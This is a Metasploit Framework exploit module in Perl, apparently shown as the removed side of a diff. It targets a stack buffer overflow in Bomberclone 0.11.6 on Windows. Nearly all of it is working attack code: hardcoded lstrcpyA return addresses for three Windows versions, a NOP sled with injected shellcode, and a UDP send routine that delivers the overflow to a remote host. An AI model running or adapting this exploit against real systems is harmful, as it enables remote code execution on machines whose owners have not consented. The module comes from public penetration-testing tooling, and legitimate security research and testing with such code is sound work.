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- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::bomberclone_overflow_win32;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'Bomberclone 0.11.6 Buffer Overflow',
- 'Version' => '$Revision: 2299 $',
- 'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 11000],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 344,
- 'BadChars' => "\x00",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows.
- The return address is overwritten with lstrcpyA memory address,
- the second and third value are the destination buffer,
- the fourth value is the source address of our buffer in the stack.
- This exploit is like a return in libc.
-
- ATTENTION
- The shellcode is exec ONLY when someone try to close bomberclone.
-
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '23263'],
- ['BID', '16697'],
- ['URL', 'http://www.frsirt.com/english/advisories/2006/0643'],
- ],
-
- 'Targets' =>
- [
- ['Windows XP SP2 Italian', 0x7c80c729 ], #lstrcpyA address in kernel32.dll
- ['Windows 2000 SP1 English', 0x77e85f08 ], #lstrcpyA address in kernel32.dll
- ['Windows 2000 SP0 Italian', 0x77e95e8b ], #lstrcpyA address in kernel32.dll
- ],
-
- 'Keys' => ['bomberclone'],
-
- 'DisclosureDate' => 'Feb 16 2006',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- my $nop = $self->MakeNops(421);
-
- my $pattern = $nop ;
- $pattern .= $shellcode;
- $pattern .= pack('V', $target->[1]);
- $pattern .= "\x04\xec\xfd\x7f"x2;
- $pattern .= "\xa4\xfa\x22\x00"; # our buffer in the stack it is always there
-
- my $request = "\x00\x00\x00\x00\x38\x03\x41" . $pattern . "\r\n";
-
- $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using lstrcpyA address at 0x%.8x...", $target->[1]));
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $s->Send($request);
- $s->Recv(-1, 10);
- $s->Close();
- return;
- }
-
-